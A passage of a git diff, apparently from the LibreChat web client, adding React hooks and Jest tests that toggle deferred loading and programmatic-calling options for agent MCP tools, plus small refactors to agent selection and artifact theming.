+ tool1: { defer_loading: true, allowed_callers: ['code_execution'] },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ act(() => {
+ result.current.toggleToolDefer('tool1');
+ });
+
+ expect(mockSetValue).toHaveBeenCalledWith(
+ 'tool_options',
+ { tool1: { allowed_callers: ['code_execution'] } },
+ { shouldDirty: true },
+ );
+ });
+
+ it('should remove tool entry entirely when disabling defer_loading and no other options exist', () => {
+ mockGetValues.mockReturnValue({
+ tool1: { defer_loading: true },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ act(() => {
+ result.current.toggleToolDefer('tool1');
+ });
+
+ expect(mockSetValue).toHaveBeenCalledWith('tool_options', {}, { shouldDirty: true });
+ });
+
+ it('should preserve other tools when toggling', () => {
+ mockGetValues.mockReturnValue({
+ tool1: { defer_loading: true },
+ tool2: { defer_loading: true },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ act(() => {
+ result.current.toggleToolDefer('tool1');
+ });
+
+ expect(mockSetValue).toHaveBeenCalledWith(
+ 'tool_options',
+ { tool2: { defer_loading: true } },
+ { shouldDirty: true },
+ );
+ });
+ });
+
+ describe('toggleToolProgrammatic', () => {
+ it('should enable programmatic calling for a tool with no existing options', () => {
+ mockGetValues.mockReturnValue({});
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ act(() => {
+ result.current.toggleToolProgrammatic('tool1');
+ });
+
+ expect(mockSetValue).toHaveBeenCalledWith(
+ 'tool_options',
+ { tool1: { allowed_callers: ['code_execution'] } },
+ { shouldDirty: true },
+ );
+ });
+
+ it('should enable programmatic calling while preserving defer_loading', () => {
+ mockGetValues.mockReturnValue({
+ tool1: { defer_loading: true },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ act(() => {
+ result.current.toggleToolProgrammatic('tool1');
+ });
+
+ expect(mockSetValue).toHaveBeenCalledWith(
+ 'tool_options',
+ { tool1: { defer_loading: true, allowed_callers: ['code_execution'] } },
+ { shouldDirty: true },
+ );
+ });
+
+ it('should disable programmatic calling and preserve defer_loading', () => {
+ mockGetValues.mockReturnValue({
+ tool1: { defer_loading: true, allowed_callers: ['code_execution'] },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ act(() => {
+ result.current.toggleToolProgrammatic('tool1');
+ });
+
+ expect(mockSetValue).toHaveBeenCalledWith(
+ 'tool_options',
+ { tool1: { defer_loading: true } },
+ { shouldDirty: true },
+ );
+ });
+
+ it('should remove tool entry entirely when disabling programmatic and no other options exist', () => {
+ mockGetValues.mockReturnValue({
+ tool1: { allowed_callers: ['code_execution'] },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ act(() => {
+ result.current.toggleToolProgrammatic('tool1');
+ });
+
+ expect(mockSetValue).toHaveBeenCalledWith('tool_options', {}, { shouldDirty: true });
+ });
+
+ it('should preserve other tools when toggling', () => {
+ mockGetValues.mockReturnValue({
+ tool1: { allowed_callers: ['code_execution'] },
+ tool2: { defer_loading: true },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ act(() => {
+ result.current.toggleToolProgrammatic('tool1');
+ });
+
+ expect(mockSetValue).toHaveBeenCalledWith(
+ 'tool_options',
+ { tool2: { defer_loading: true } },
+ { shouldDirty: true },
+ );
+ });
+ });
+
+ describe('areAllToolsDeferred', () => {
+ it('should return false for empty tools array', () => {
+ (useWatch as jest.Mock).mockReturnValue({});
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ expect(result.current.areAllToolsDeferred([])).toBe(false);
+ });
+
+ it('should return false when no tools are deferred', () => {
+ (useWatch as jest.Mock).mockReturnValue({});
+
+ const { result } = renderHook(() => useMCPToolOptions());
+ const tools = [createMockTool('tool1'), createMockTool('tool2')];
+
+ expect(result.current.areAllToolsDeferred(tools)).toBe(false);
+ });
+
+ it('should return false when some tools are deferred', () => {
+ (useWatch as jest.Mock).mockReturnValue({
+ tool1: { defer_loading: true },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+ const tools = [createMockTool('tool1'), createMockTool('tool2')];
+
+ expect(result.current.areAllToolsDeferred(tools)).toBe(false);
+ });
+
+ it('should return true when all tools are deferred', () => {
+ (useWatch as jest.Mock).mockReturnValue({
+ tool1: { defer_loading: true },
+ tool2: { defer_loading: true },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+ const tools = [createMockTool('tool1'), createMockTool('tool2')];
+
+ expect(result.current.areAllToolsDeferred(tools)).toBe(true);
+ });
+ });
+
+ describe('areAllToolsProgrammatic', () => {
+ it('should return false for empty tools array', () => {
+ (useWatch as jest.Mock).mockReturnValue({});
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ expect(result.current.areAllToolsProgrammatic([])).toBe(false);
+ });
+
+ it('should return false when no tools are programmatic', () => {
+ (useWatch as jest.Mock).mockReturnValue({});
+
+ const { result } = renderHook(() => useMCPToolOptions());
+ const tools = [createMockTool('tool1'), createMockTool('tool2')];
+
+ expect(result.current.areAllToolsProgrammatic(tools)).toBe(false);
+ });
+
+ it('should return false when some tools are programmatic', () => {
+ (useWatch as jest.Mock).mockReturnValue({
+ tool1: { allowed_callers: ['code_execution'] },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+ const tools = [createMockTool('tool1'), createMockTool('tool2')];
+
+ expect(result.current.areAllToolsProgrammatic(tools)).toBe(false);
+ });
+
+ it('should return true when all tools are programmatic', () => {
+ (useWatch as jest.Mock).mockReturnValue({
+ tool1: { allowed_callers: ['code_execution'] },
+ tool2: { allowed_callers: ['code_execution'] },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+ const tools = [createMockTool('tool1'), createMockTool('tool2')];
+
+ expect(result.current.areAllToolsProgrammatic(tools)).toBe(true);
+ });
+ });
+
+ describe('toggleDeferAll', () => {
+ it('should do nothing for empty tools array', () => {
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ act(() => {
+ result.current.toggleDeferAll([]);
+ });
+
+ expect(mockSetValue).not.toHaveBeenCalled();
+ });
+
+ it('should defer all tools when none are deferred', () => {
+ (useWatch as jest.Mock).mockReturnValue({});
+ mockGetValues.mockReturnValue({});
+
+ const { result } = renderHook(() => useMCPToolOptions());
+ const tools = [createMockTool('tool1'), createMockTool('tool2')];
+
+ act(() => {
+ result.current.toggleDeferAll(tools);
+ });
+
+ expect(mockSetValue).toHaveBeenCalledWith(
+ 'tool_options',
+ {
+ tool1: { defer_loading: true },
+ tool2: { defer_loading: true },
+ },
+ { shouldDirty: true },
+ );
+ });
+
+ it('should undefer all tools when all are deferred', () => {
+ (useWatch as jest.Mock).mockReturnValue({
+ tool1: { defer_loading: true },
+ tool2: { defer_loading: true },
+ });
+ mockGetValues.mockReturnValue({
+ tool1: { defer_loading: true },
+ tool2: { defer_loading: true },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+ const tools = [createMockTool('tool1'), createMockTool('tool2')];
+
+ act(() => {
+ result.current.toggleDeferAll(tools);
+ });
+
+ expect(mockSetValue).toHaveBeenCalledWith('tool_options', {}, { shouldDirty: true });
+ });
+
+ it('should defer all when some are deferred (brings to consistent state)', () => {
+ (useWatch as jest.Mock).mockReturnValue({
+ tool1: { defer_loading: true },
+ });
+ mockGetValues.mockReturnValue({
+ tool1: { defer_loading: true },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+ const tools = [createMockTool('tool1'), createMockTool('tool2')];
+
+ act(() => {
+ result.current.toggleDeferAll(tools);
+ });
+
+ expect(mockSetValue).toHaveBeenCalledWith(
+ 'tool_options',
+ {
+ tool1: { defer_loading: true },
+ tool2: { defer_loading: true },
+ },
+ { shouldDirty: true },
+ );
+ });
+
+ it('should preserve other options when deferring', () => {
+ (useWatch as jest.Mock).mockReturnValue({});
+ mockGetValues.mockReturnValue({
+ tool1: { allowed_callers: ['code_execution'] },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+ const tools = [createMockTool('tool1'), createMockTool('tool2')];
+
+ act(() => {
+ result.current.toggleDeferAll(tools);
+ });
+
+ expect(mockSetValue).toHaveBeenCalledWith(
+ 'tool_options',
+ {
+ tool1: { allowed_callers: ['code_execution'], defer_loading: true },
+ tool2: { defer_loading: true },
+ },
+ { shouldDirty: true },
+ );
+ });
+
+ it('should preserve other options when undeferring', () => {
+ (useWatch as jest.Mock).mockReturnValue({
+ tool1: { defer_loading: true, allowed_callers: ['code_execution'] },
+ tool2: { defer_loading: true },
+ });
+ mockGetValues.mockReturnValue({
+ tool1: { defer_loading: true, allowed_callers: ['code_execution'] },
+ tool2: { defer_loading: true },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+ const tools = [createMockTool('tool1'), createMockTool('tool2')];
+
+ act(() => {
+ result.current.toggleDeferAll(tools);
+ });
+
+ expect(mockSetValue).toHaveBeenCalledWith(
+ 'tool_options',
+ { tool1: { allowed_callers: ['code_execution'] } },
+ { shouldDirty: true },
+ );
+ });
+ });
+
+ describe('toggleProgrammaticAll', () => {
+ it('should do nothing for empty tools array', () => {
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ act(() => {
+ result.current.toggleProgrammaticAll([]);
+ });
+
+ expect(mockSetValue).not.toHaveBeenCalled();
+ });
+
+ it('should make all tools programmatic when none are', () => {
+ (useWatch as jest.Mock).mockReturnValue({});
+ mockGetValues.mockReturnValue({});
+
+ const { result } = renderHook(() => useMCPToolOptions());
+ const tools = [createMockTool('tool1'), createMockTool('tool2')];
+
+ act(() => {
+ result.current.toggleProgrammaticAll(tools);
+ });
+
+ expect(mockSetValue).toHaveBeenCalledWith(
+ 'tool_options',
+ {
+ tool1: { allowed_callers: ['code_execution'] },
+ tool2: { allowed_callers: ['code_execution'] },
+ },
+ { shouldDirty: true },
+ );
+ });
+
+ it('should remove programmatic from all tools when all are programmatic', () => {
+ (useWatch as jest.Mock).mockReturnValue({
+ tool1: { allowed_callers: ['code_execution'] },
+ tool2: { allowed_callers: ['code_execution'] },
+ });
+ mockGetValues.mockReturnValue({
+ tool1: { allowed_callers: ['code_execution'] },
+ tool2: { allowed_callers: ['code_execution'] },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+ const tools = [createMockTool('tool1'), createMockTool('tool2')];
+
+ act(() => {
+ result.current.toggleProgrammaticAll(tools);
+ });
+
+ expect(mockSetValue).toHaveBeenCalledWith('tool_options', {}, { shouldDirty: true });
+ });
+
+ it('should make all programmatic when some are (brings to consistent state)', () => {
+ (useWatch as jest.Mock).mockReturnValue({
+ tool1: { allowed_callers: ['code_execution'] },
+ });
+ mockGetValues.mockReturnValue({
+ tool1: { allowed_callers: ['code_execution'] },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+ const tools = [createMockTool('tool1'), createMockTool('tool2')];
+
+ act(() => {
+ result.current.toggleProgrammaticAll(tools);
+ });
+
+ expect(mockSetValue).toHaveBeenCalledWith(
+ 'tool_options',
+ {
+ tool1: { allowed_callers: ['code_execution'] },
+ tool2: { allowed_callers: ['code_execution'] },
+ },
+ { shouldDirty: true },
+ );
+ });
+
+ it('should preserve defer_loading when making programmatic', () => {
+ (useWatch as jest.Mock).mockReturnValue({});
+ mockGetValues.mockReturnValue({
+ tool1: { defer_loading: true },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+ const tools = [createMockTool('tool1'), createMockTool('tool2')];
+
+ act(() => {
+ result.current.toggleProgrammaticAll(tools);
+ });
+
+ expect(mockSetValue).toHaveBeenCalledWith(
+ 'tool_options',
+ {
+ tool1: { defer_loading: true, allowed_callers: ['code_execution'] },
+ tool2: { allowed_callers: ['code_execution'] },
+ },
+ { shouldDirty: true },
+ );
+ });
+
+ it('should preserve defer_loading when removing programmatic', () => {
+ (useWatch as jest.Mock).mockReturnValue({
+ tool1: { defer_loading: true, allowed_callers: ['code_execution'] },
+ tool2: { allowed_callers: ['code_execution'] },
+ });
+ mockGetValues.mockReturnValue({
+ tool1: { defer_loading: true, allowed_callers: ['code_execution'] },
+ tool2: { allowed_callers: ['code_execution'] },
+ });
+
+ const { result } = renderHook(() => useMCPToolOptions());
+ const tools = [createMockTool('tool1'), createMockTool('tool2')];
+
+ act(() => {
+ result.current.toggleProgrammaticAll(tools);
+ });
+
+ expect(mockSetValue).toHaveBeenCalledWith(
+ 'tool_options',
+ { tool1: { defer_loading: true } },
+ { shouldDirty: true },
+ );
+ });
+ });
+
+ describe('formToolOptions', () => {
+ it('should return undefined when useWatch returns undefined', () => {
+ (useWatch as jest.Mock).mockReturnValue(undefined);
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ expect(result.current.formToolOptions).toBeUndefined();
+ });
+
+ it('should return the tool options from useWatch', () => {
+ const toolOptions = {
+ tool1: { defer_loading: true },
+ tool2: { allowed_callers: ['code_execution'] },
+ };
+ (useWatch as jest.Mock).mockReturnValue(toolOptions);
+
+ const { result } = renderHook(() => useMCPToolOptions());
+
+ expect(result.current.formToolOptions).toEqual(toolOptions);
+ });
+ });
+});
diff --git a/client/src/hooks/Agents/index.ts b/client/src/hooks/Agents/index.ts
index 3597b0e646..a553da24a0 100644
--- a/client/src/hooks/Agents/index.ts
+++ b/client/src/hooks/Agents/index.ts
@@ -5,5 +5,7 @@ export type { ProcessedAgentCategory } from './useAgentCategories';
export { default as useAgentCapabilities } from './useAgentCapabilities';
export { default as useGetAgentsConfig } from './useGetAgentsConfig';
export { default as useAgentDefaultPermissionLevel } from './useAgentDefaultPermissionLevel';
+export { default as useAgentFileConfig } from './useAgentFileConfig';
export { default as useAgentToolPermissions } from './useAgentToolPermissions';
+export { default as useMCPToolOptions } from './useMCPToolOptions';
export * from './useApplyModelSpecAgents';
diff --git a/client/src/hooks/Agents/useAgentCapabilities.ts b/client/src/hooks/Agents/useAgentCapabilities.ts
index 8d2bd6ef87..a0f3de025e 100644
--- a/client/src/hooks/Agents/useAgentCapabilities.ts
+++ b/client/src/hooks/Agents/useAgentCapabilities.ts
@@ -10,6 +10,8 @@ interface AgentCapabilitiesResult {
fileSearchEnabled: boolean;
webSearchEnabled: boolean;
codeEnabled: boolean;
+ deferredToolsEnabled: boolean;
+ programmaticToolsEnabled: boolean;
}
export default function useAgentCapabilities(
@@ -55,6 +57,16 @@ export default function useAgentCapabilities(
[capabilities],
);
+ const deferredToolsEnabled = useMemo(
+ () => capabilities?.includes(AgentCapabilities.deferred_tools) ?? false,
+ [capabilities],
+ );
+
+ const programmaticToolsEnabled = useMemo(
+ () => capabilities?.includes(AgentCapabilities.programmatic_tools) ?? false,
+ [capabilities],
+ );
+
return {
ocrEnabled,
codeEnabled,
@@ -64,5 +76,7 @@ export default function useAgentCapabilities(
artifactsEnabled,
webSearchEnabled,
fileSearchEnabled,
+ deferredToolsEnabled,
+ programmaticToolsEnabled,
};
}
diff --git a/client/src/hooks/Agents/useAgentFileConfig.ts b/client/src/hooks/Agents/useAgentFileConfig.ts
new file mode 100644
index 0000000000..7f98f8d575
--- /dev/null
+++ b/client/src/hooks/Agents/useAgentFileConfig.ts
@@ -0,0 +1,36 @@
+import { useWatch } from 'react-hook-form';
+import {
+ EModelEndpoint,
+ mergeFileConfig,
+ resolveEndpointType,
+ getEndpointFileConfig,
+} from 'librechat-data-provider';
+import type { EndpointFileConfig } from 'librechat-data-provider';
+import type { AgentForm } from '~/common';
+import { useGetFileConfig, useGetEndpointsQuery } from '~/data-provider';
+
+export default function useAgentFileConfig(): {
+ endpointType: EModelEndpoint | string | undefined;
+ providerValue: string | undefined;
+ endpointFileConfig: EndpointFileConfig;
+} {
+ const providerOption = useWatch({ name: 'provider' });
+ const { data: endpointsConfig } = useGetEndpointsQuery();
+ const { data: fileConfig = null } = useGetFileConfig({
+ select: (data) => mergeFileConfig(data),
+ });
+
+ const providerValue =
+ typeof providerOption === 'string'
+ ? providerOption
+ : (providerOption as { value?: string } | undefined)?.value;
+
+ const endpointType = resolveEndpointType(endpointsConfig, EModelEndpoint.agents, providerValue);
+ const endpointFileConfig = getEndpointFileConfig({
+ fileConfig,
+ endpointType,
+ endpoint: providerValue || EModelEndpoint.agents,
+ });
+
+ return { endpointType, providerValue, endpointFileConfig };
+}
diff --git a/client/src/hooks/Agents/useApplyModelSpecAgents.ts b/client/src/hooks/Agents/useApplyModelSpecAgents.ts
index 94d62a058a..2c677f85ca 100644
--- a/client/src/hooks/Agents/useApplyModelSpecAgents.ts
+++ b/client/src/hooks/Agents/useApplyModelSpecAgents.ts
@@ -1,4 +1,5 @@
import { useCallback } from 'react';
+import { Constants } from 'librechat-data-provider';
import type { TStartupConfig, TSubmission } from 'librechat-data-provider';
import { useUpdateEphemeralAgent, useApplyNewAgentTemplate } from '~/store/agents';
import { getModelSpec, applyModelSpecEphemeralAgent } from '~/utils';
@@ -6,6 +7,10 @@ import { getModelSpec, applyModelSpecEphemeralAgent } from '~/utils';
/**
* Hook that applies a model spec from a preset to an ephemeral agent.
* This is used when initializing a new conversation with a preset that has a spec.
+ *
+ * When a spec is provided, its tool settings are applied to the ephemeral agent.
+ * When no spec is provided but specs are configured, the ephemeral agent is reset
+ * to null so BadgeRowContext can apply localStorage defaults (non-spec experience).
*/
export function useApplyModelSpecEffects() {
const updateEphemeralAgent = useUpdateEphemeralAgent();
@@ -20,6 +25,11 @@ export function useApplyModelSpecEffects() {
startupConfig?: TStartupConfig;
}) => {
if (specName == null || !specName) {
+ if (startupConfig?.modelSpecs?.list?.length) {
+ /** Specs are configured but none selected — reset ephemeral agent to null
+ * so BadgeRowContext fills all values (tool toggles + MCP) from localStorage. */
+ updateEphemeralAgent((convoId ?? Constants.NEW_CONVO) || Constants.NEW_CONVO, null);
+ }
return;
}
@@ -80,6 +90,9 @@ export function useApplyAgentTemplate() {
web_search: ephemeralAgent?.web_search ?? modelSpec.webSearch ?? false,
file_search: ephemeralAgent?.file_search ?? modelSpec.fileSearch ?? false,
execute_code: ephemeralAgent?.execute_code ?? modelSpec.executeCode ?? false,
+ artifacts:
+ ephemeralAgent?.artifacts ??
+ (modelSpec.artifacts === true ? 'default' : modelSpec.artifacts || ''),
};
mergedAgent.mcp = [...new Set(mergedAgent.mcp)];
diff --git a/client/src/hooks/Agents/useMCPToolOptions.ts b/client/src/hooks/Agents/useMCPToolOptions.ts
new file mode 100644
index 0000000000..68cfb8f91b
--- /dev/null
+++ b/client/src/hooks/Agents/useMCPToolOptions.ts
@@ -0,0 +1,183 @@
+import { useCallback } from 'react';
+import { useFormContext, useWatch } from 'react-hook-form';
+import type { AgentToolOptions, AllowedCaller, AgentToolType } from 'librechat-data-provider';
+import type { AgentForm } from '~/common';
+
+interface UseMCPToolOptionsReturn {
+ formToolOptions: AgentToolOptions | undefined;
+ isToolDeferred: (toolId: string) => boolean;
+ isToolProgrammatic: (toolId: string) => boolean;
+ toggleToolDefer: (toolId: string) => void;
+ toggleToolProgrammatic: (toolId: string) => void;
+ areAllToolsDeferred: (tools: AgentToolType[]) => boolean;
+ areAllToolsProgrammatic: (tools: AgentToolType[]) => boolean;
+ toggleDeferAll: (tools: AgentToolType[]) => void;
+ toggleProgrammaticAll: (tools: AgentToolType[]) => void;
+}
+
+export default function useMCPToolOptions(): UseMCPToolOptionsReturn {
+ const { getValues, setValue, control } = useFormContext();
+ const formToolOptions = useWatch({ control, name: 'tool_options' });
+
+ const isToolDeferred = useCallback(
+ (toolId: string): boolean => formToolOptions?.[toolId]?.defer_loading === true,
+ [formToolOptions],
+ );
+
+ const isToolProgrammatic = useCallback(
+ (toolId: string): boolean =>
+ formToolOptions?.[toolId]?.allowed_callers?.includes('code_execution') === true,
+ [formToolOptions],
+ );
+
+ const toggleToolDefer = useCallback(
+ (toolId: string) => {
+ const currentOptions = getValues('tool_options') || {};
+ const currentToolOptions = currentOptions[toolId] || {};
+ const newDeferred = !currentToolOptions.defer_loading;
+
+ const updatedOptions: AgentToolOptions = { ...currentOptions };
+
+ if (newDeferred) {
+ updatedOptions[toolId] = {
+ ...currentToolOptions,
+ defer_loading: true,
+ };
+ } else {
+ const { defer_loading: _, ...restOptions } = currentToolOptions;
+ if (Object.keys(restOptions).length === 0) {
+ delete updatedOptions[toolId];
+ } else {
+ updatedOptions[toolId] = restOptions;
+ }
+ }
+
+ setValue('tool_options', updatedOptions, { shouldDirty: true });
+ },
+ [getValues, setValue],
+ );
+
+ const toggleToolProgrammatic = useCallback(
+ (toolId: string) => {
+ const currentOptions = getValues('tool_options') || {};
+ const currentToolOptions = currentOptions[toolId] || {};
+ const currentCallers = currentToolOptions.allowed_callers || [];
+ const isProgrammatic = currentCallers.includes('code_execution');
+
+ const updatedOptions: AgentToolOptions = { ...currentOptions };
+
+ if (isProgrammatic) {
+ const newCallers = currentCallers.filter((c: AllowedCaller) => c !== 'code_execution');
+ if (newCallers.length === 0) {
+ const { allowed_callers: _, ...restOptions } = currentToolOptions;
+ if (Object.keys(restOptions).length === 0) {
+ delete updatedOptions[toolId];
+ } else {
+ updatedOptions[toolId] = restOptions;
+ }
+ } else {
+ updatedOptions[toolId] = {
+ ...currentToolOptions,
+ allowed_callers: newCallers,
+ };
+ }
+ } else {
+ updatedOptions[toolId] = {
+ ...currentToolOptions,
+ allowed_callers: ['code_execution'] as AllowedCaller[],
+ };
+ }
+
+ setValue('tool_options', updatedOptions, { shouldDirty: true });
+ },
+ [getValues, setValue],
+ );
+
+ const areAllToolsDeferred = useCallback(
+ (tools: AgentToolType[]): boolean =>
+ tools.length > 0 &&
+ tools.every((tool) => formToolOptions?.[tool.tool_id]?.defer_loading === true),
+ [formToolOptions],
+ );
+
+ const areAllToolsProgrammatic = useCallback(
+ (tools: AgentToolType[]): boolean =>
+ tools.length > 0 &&
+ tools.every(
+ (tool) =>
+ formToolOptions?.[tool.tool_id]?.allowed_callers?.includes('code_execution') === true,
+ ),
+ [formToolOptions],
+ );
+
+ const toggleDeferAll = useCallback(
+ (tools: AgentToolType[]) => {
+ if (tools.length === 0) return;
+
+ const shouldDefer = !areAllToolsDeferred(tools);
+ const currentOptions = getValues('tool_options') || {};
+ const updatedOptions: AgentToolOptions = { ...currentOptions };
+
+ for (const tool of tools) {
+ if (shouldDefer) {
+ updatedOptions[tool.tool_id] = {
+ ...(updatedOptions[tool.tool_id] || {}),
+ defer_loading: true,
+ };
+ } else {
+ if (updatedOptions[tool.tool_id]) {
+ delete updatedOptions[tool.tool_id].defer_loading;
+ if (Object.keys(updatedOptions[tool.tool_id]).length === 0) {
+ delete updatedOptions[tool.tool_id];
+ }
+ }
+ }
+ }
+
+ setValue('tool_options', updatedOptions, { shouldDirty: true });
+ },
+ [getValues, setValue, areAllToolsDeferred],
+ );
+
+ const toggleProgrammaticAll = useCallback(
+ (tools: AgentToolType[]) => {
+ if (tools.length === 0) return;
+
+ const shouldBeProgrammatic = !areAllToolsProgrammatic(tools);
+ const currentOptions = getValues('tool_options') || {};
+ const updatedOptions: AgentToolOptions = { ...currentOptions };
+
+ for (const tool of tools) {
+ const currentToolOptions = updatedOptions[tool.tool_id] || {};
+ if (shouldBeProgrammatic) {
+ updatedOptions[tool.tool_id] = {
+ ...currentToolOptions,
+ allowed_callers: ['code_execution'] as AllowedCaller[],
+ };
+ } else {
+ if (updatedOptions[tool.tool_id]) {
+ delete updatedOptions[tool.tool_id].allowed_callers;
+ if (Object.keys(updatedOptions[tool.tool_id]).length === 0) {
+ delete updatedOptions[tool.tool_id];
+ }
+ }
+ }
+ }
+
+ setValue('tool_options', updatedOptions, { shouldDirty: true });
+ },
+ [getValues, setValue, areAllToolsProgrammatic],
+ );
+
+ return {
+ formToolOptions,
+ isToolDeferred,
+ isToolProgrammatic,
+ toggleToolDefer,
+ toggleToolProgrammatic,
+ areAllToolsDeferred,
+ areAllToolsProgrammatic,
+ toggleDeferAll,
+ toggleProgrammaticAll,
+ };
+}
diff --git a/client/src/hooks/Agents/useSelectAgent.ts b/client/src/hooks/Agents/useSelectAgent.ts
index 00c2753d93..30024c8f63 100644
--- a/client/src/hooks/Agents/useSelectAgent.ts
+++ b/client/src/hooks/Agents/useSelectAgent.ts
@@ -1,31 +1,29 @@
-import { useCallback, useState } from 'react';
+import { useCallback } from 'react';
import { useQueryClient } from '@tanstack/react-query';
import {
Constants,
QueryKeys,
+ dataService,
EModelEndpoint,
isAssistantsEndpoint,
} from 'librechat-data-provider';
import type { TConversation, TPreset, Agent } from 'librechat-data-provider';
+import useGetConversation from '~/hooks/Conversations/useGetConversation';
import useDefaultConvo from '~/hooks/Conversations/useDefaultConvo';
import { useAgentsMapContext } from '~/Providers/AgentsMapContext';
-import { useChatContext } from '~/Providers/ChatContext';
-import { useGetAgentByIdQuery } from '~/data-provider';
+import useNewConvo from '~/hooks/useNewConvo';
import { logger } from '~/utils';
export default function useSelectAgent() {
const queryClient = useQueryClient();
- const getDefaultConversation = useDefaultConvo();
- const { conversation, newConversation } = useChatContext();
const agentsMap = useAgentsMapContext();
- const [selectedAgentId, setSelectedAgentId] = useState(
- conversation?.agent_id ?? null,
- );
-
- const agentQuery = useGetAgentByIdQuery(selectedAgentId);
+ const getDefaultConversation = useDefaultConvo();
+ const { newConversation } = useNewConvo();
+ const getConversation = useGetConversation(0);
const updateConversation = useCallback(
- (agent: Partial, template: Partial) => {
+ async (agent: Partial, template: Partial) => {
+ const conversation = await getConversation();
logger.log('conversation', 'Updating conversation with agent', agent);
if (isAssistantsEndpoint(conversation?.endpoint)) {
newConversation({
@@ -44,7 +42,7 @@ export default function useSelectAgent() {
keepLatestMessage: true,
});
},
- [conversation, getDefaultConversation, newConversation],
+ [getConversation, getDefaultConversation, newConversation],
);
const onSelect = useCallback(
@@ -54,30 +52,22 @@ export default function useSelectAgent() {
return;
}
- setSelectedAgentId(agent.id);
-
const template: Partial = {
endpoint: EModelEndpoint.agents,
agent_id: agent.id,
conversationId: Constants.NEW_CONVO as string,
};
- updateConversation({ id: agent.id }, template);
+ await updateConversation({ id: agent.id }, template);
- // Fetch full agent data in the background
try {
- await queryClient.invalidateQueries(
- {
- queryKey: [QueryKeys.agent, agent.id],
- exact: true,
- refetchType: 'active',
- },
- { throwOnError: true },
+ const fullAgent = await queryClient.fetchQuery([QueryKeys.agent, agent.id], () =>
+ dataService.getAgentById({
+ agent_id: agent.id,
+ }),
);
-
- const { data: fullAgent } = await agentQuery.refetch();
if (fullAgent) {
- updateConversation(fullAgent, { ...template, agent_id: fullAgent.id });
+ await updateConversation(fullAgent, { ...template, agent_id: fullAgent.id });
}
} catch (error) {
if ((error as { silent: boolean } | undefined)?.silent) {
@@ -85,10 +75,10 @@ export default function useSelectAgent() {
return;
}
console.error('Error fetching full agent data:', error);
- updateConversation({}, { ...template, agent_id: undefined });
+ await updateConversation({}, { ...template, agent_id: undefined });
}
},
- [agentsMap, updateConversation, queryClient, agentQuery],
+ [agentsMap, updateConversation, queryClient],
);
return { onSelect };
diff --git a/client/src/hooks/Artifacts/useArtifactProps.ts b/client/src/hooks/Artifacts/useArtifactProps.ts
index 2b898934c4..ce5e30cf5a 100644
--- a/client/src/hooks/Artifacts/useArtifactProps.ts
+++ b/client/src/hooks/Artifacts/useArtifactProps.ts
@@ -1,17 +1,21 @@
-import { useMemo } from 'react';
+import { useContext, useMemo } from 'react';
+import { ThemeContext, isDark } from '@librechat/client';
import { removeNullishValues } from 'librechat-data-provider';
import type { Artifact } from '~/common';
import { getKey, getProps, getTemplate, getArtifactFilename } from '~/utils/artifacts';
-import { getMermaidFiles } from '~/utils/mermaid';
import { getMarkdownFiles } from '~/utils/markdown';
+import { getMermaidFiles } from '~/utils/mermaid';
export default function useArtifactProps({ artifact }: { artifact: Artifact }) {
+ const { theme } = useContext(ThemeContext);
+ const isDarkMode = isDark(theme);
+
const [fileKey, files] = useMemo(() => {
const key = getKey(artifact.type ?? '', artifact.language);
const type = artifact.type ?? '';
if (key.includes('mermaid')) {
- return ['diagram.mmd', getMermaidFiles(artifact.content ?? '')];
+ return ['diagram.mmd', getMermaidFiles(artifact.content ?? '', isDarkMode)];
}
if (type === 'text/markdown' || type === 'text/md' || type === 'text/plain') {
@@ -23,7 +27,7 @@ export default function useArtifactProps({ artifact }: { artifact: Artifact }) {
[fileKey]: artifact.content,
});
return [fileKey, files];
- }, [artifact.type, artifact.content, artifact.language]);
+ }, [artifact.type, artifact.content, artifact.language, isDarkMode]);
const template = useMemo(
() => getTemplate(artifact.type ?? '', artifact.language),
diff --git a/client/src/hooks/Artifacts/useAutoScroll.ts b/client/src/hooks/Artifacts/useAutoScroll.ts
deleted file mode 100644
index 1ddb9feb98..0000000000
--- a/client/src/hooks/Artifacts/useAutoScroll.ts
+++ /dev/null
@@ -1,47 +0,0 @@
-// hooks/useAutoScroll.ts
-import { useEffect, useState } from 'react';
-
-interface UseAutoScrollProps {
- ref: React.RefObject;
- content: string;
- isSubmitting: boolean;
-}
-
-export const useAutoScroll = ({ ref, content, isSubmitting }: UseAutoScrollProps) => {
- const [userScrolled, setUserScrolled] = useState(false);
-
- useEffect(() => {
- const scrollContainer = ref.current;
- if (!scrollContainer) {
- return;
- }
-
- const handleScroll = () => {
- const { scrollTop, scrollHeight, clientHeight } = scrollContainer;
- const isNearBottom = scrollHeight - scrollTop - clientHeight < 50;
-
- if (!isNearBottom) {
- setUserScrolled(true);
- } else {
- setUserScrolled(false);
- }
- };
-
- scrollContainer.addEventListener('scroll', handleScroll);
-
- return () => {
- scrollContainer.removeEventListener('scroll', handleScroll);
- };
- }, [ref]);
-
- useEffect(() => {
- const scrollContainer = ref.current;
- if (!scrollContainer || !isSubmitting || userScrolled) {
- return;
- }
-
- scrollContainer.scrollTop = scrollContainer.scrollHeight;
- }, [content, isSubmitting, userScrolled, ref]);
-
- return { userScrolled };
-};
